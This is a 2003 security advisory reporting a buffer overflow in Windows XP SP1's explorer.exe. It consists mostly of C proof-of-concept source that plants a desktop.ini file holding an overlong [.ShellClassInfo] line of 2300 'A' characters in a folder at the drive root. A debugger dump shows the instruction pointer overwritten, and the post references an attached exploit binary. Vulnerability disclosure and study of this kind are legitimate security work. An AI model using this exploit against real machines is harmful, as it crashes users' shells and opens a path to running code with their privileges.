Buffer overflow in Explorer.exe

["aT4r InsaN3" <at4r () hotmail com>]

This bug allow a malicious an attacker to execute data with privileges of a 
user that is browsing the hard disk with explorer.

tested against winxp SP1

example code provided.


/*

        Buffer Overflow in explorer.exe - Proof of Concept
        Tested only against: Windows XP SP1

        Found by aT4r () 3wdesign es

        Saludos a:
        - #Haxorcitos@efnet= { "Tarako", "Croulder", "Drakar" , "[back]", "tyr" }:
        - #localhost and #darknet


        Usage: just execute this file.
		This code will crash your explorer every time you try to browse your 
harddisk
                execute this program again to delete the evil file ;-)

        (3ec.464): Access violation - code c0000005 (first chance)
        First chance exceptions are reported before any exception handling.
        This exception may be expected and handled.
	eax=00410041 ebx=0012aca8 ecx=77e5e1c4 edx=002f0000 esi=00121b70 
edi=000ece90
	eip=00410041 esp=0177dfb0 ebp=00410041 iopl=0         nv up ei pl zr na po 
nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             
efl=00010246
        00410041 ??               ???

        3W Design Security 2003.        http://www.3WDesign.es/
*/


#include <direct.h>
#include <stdio.h>
#include <windows.h>
#include <sys/stat.h>

#define BUFF 2300
void main(){

        char path[256];
        char evil[BUFF+1]="";
        FILE *bof;
        struct stat st;
	printf("\n . .. ...: \tBuffer overflow in explorer.exe\t\t:... .. .\n . .. 
...: \tProof of Concept (aT4r () 3wdesign es)\t:... .. .\n\n");
        strcpy(path,"\\aT4r[at]3WDesign.es Security");
        mkdir(path);
        SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);

        strcat(path,"\\desktop.ini");
        if (stat(path,&st)==0)
		{ remove(path);	exit(1);}//just execute this program twice to remote this 
file :P
        bof=fopen(path,"w");
        fputs("[.ShellClassInfo]\n",bof);
        memset(evil,'A',BUFF);
        fputs(evil,bof);
        fclose(bof);
        printf("evil file: %s Created. Try to browse your Harddisk O:-)\n",path);


}

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Attachment: explorerbof.exe
Description: